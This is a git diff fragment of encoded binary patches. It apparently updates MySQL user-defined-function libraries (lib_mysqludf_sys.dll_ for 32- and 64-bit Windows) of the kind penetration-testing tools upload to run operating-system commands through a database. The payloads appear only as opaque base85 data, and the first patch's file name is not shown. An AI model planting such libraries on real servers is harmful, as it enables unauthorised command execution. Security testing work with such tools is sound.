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 literal 3200 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 diff --git a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ index a706d35ccf88379339c64e865c991241a1eab6a6..2844b9956877f366e215437cc0e721596f5cdfab 100644 GIT binary patch literal 4549 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 literal 4549 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 diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ index fbcdff6250ac2455ce2beedf08e629bf47d9f385..95046969b7da8e764fa105165e776fa3a2fbc6c6 100644 GIT binary patch literal 5267 zcmV;E6m07?)3<&I4mlg$j@Tp>7n)B0N><%_($AzpbyapICL?RdMSD+an+zUkW9Jz+ zd3q#d0Y`lw{s-{_oIrOJ(KICt74uLk6KU@KNAp9k}esa%%87`2RD6mV`jO?BCY=4)`Ei z1K?2pafMGl*F-{(flKuyOj9>WR%CT=`k-zJty*0Cl=J2KhPJz@>X?|N5n6}|2aR3s z{;I!t(s?qI9N?`>tbP**cO3f1uk_e}ujLAmLwJpCdf$#metSa=`&Ui>tadh-b9GY) z>S9YoPi%}q20|&ia90j_nlEU=*R#ASK(wwiXRs2#D*sE4H%q$&DDbctGeb+>V{LE{ za0<@PQ4Go;4_(Znh2JUD)3# zzTa$VJI$t6R@G5A}CyMBV<{igdL~k-=lP6o3_Dyv7Bp&0OE<8vOQ}rFX zxBOf4_RsE}SA_)jv2aZ`4bQfVqqhRbsgIoYi|$2h#zvt2-#q@zlV&bW zPkpymc=-5`-(xL}O{Hu5zo{l6Z)V?7TI87$vKw3%#tqQr+}Wm(hcKQo-ElPmY*j~y z6j0}g8%$9xP&r~}_3Q>>r7RoUSqAW14w}>xXl|_DT1SxD=CqAhFw0%Y!Gl z!<(i-JL`rE@s9P%jbI@JaDhq47SdHndUzDLXOkt2* z0#U7|*Ubog*xbFp_|lVJ_jQ1Tr9DcEoqa*3h!DE)RJqfW^nj-I645Rm&|EYQ?fJHQ z!HQNQr~;DVuisl>UG69aocx>@5k&q7nMJ#I>Y$A0wvw<1A-(oi-#-NJg}l~DLDAJP!Nj^s>e=rt!1dnmyw|38 z$&aVR1pSo3Y?L_Jd!q3-J`TgjR7;L~h^1eD(+b}48l1Oj@oGIR!td|Y$~o56ytD3YL^e|+id8v9 z(VIv&yC_1L`mXY@Add%BVGz0H9=7q{C>@I#*cN>N9yYxudBM+eXr z3Fo?pw{L73exgZ!O%=fWQ|&DeA475JdZ?MvT2)+&CMYf75JR=C)$v6>z*Xjf7PAx-m+we*n5>i5(Pa&JC?y}WU>M&W z+Y;@;0~&ZH)>QI^vTYqz_PP7a+|*xj{h(qQF1kQN+xzVReQ$t6O!6u+XQh&!+7sJp zPj$yzN24@0oYi(oLW5R*173+#og_XQU-3Em*i1|AbYc|>NEgmHPb=JQhqj0v>-@4l z6D~Ge{;7*&kSb~4F^Ij+hqL+hn@#(^60S_09yos~6YWOC7I2h0omP3LZJ~=5fUsW| zn9-ikvr|0mDI9EWK)B$ZLMEK7r7o9g;Gr4HSJO^-=Lm*vyPUzpfcb)E=NvnH#IY{S zPJ4Y|EdAm5+)#b(?LgHy=-sRjZHcAH57s&&IBl4z;4U2v>!~OiVN8NLzH4_Ayc^n$ zUtycI!(_FstNyA(ey|$84h0(q6)z8f3<>(mzgcOU?X;H(FOAagXX-OkgLx@X?}KyX z^Ui3YZ(}MBdLN$un$Y#HiyvFr9qsm&KZXKwaR4P0Ss9 zkO$oEG5EM$lEk*CM zBu{V#E!X=NzM8IFZ5X3crs<}!*J0p9??|@3DDHRpD5)K&Yi0BsTAoXL6pYhA2=sSP zaL)=yF0Pydz9O@TuZEvX(FM>{*^z;93+iP;*xvCQ{sHs`Uzz?SvGEo+c&{ZzchJmm z$_gGXuV3aG+35K(x_sM$xR^UGTuaq|rm~){R|n?xRG#_)0MLV3 zCRw64$`c$TV$?C%r-{3*Tw>p5f&vTmBo@={joU5gS4O^-Vm1!dF<1~(22$gxF_^ue 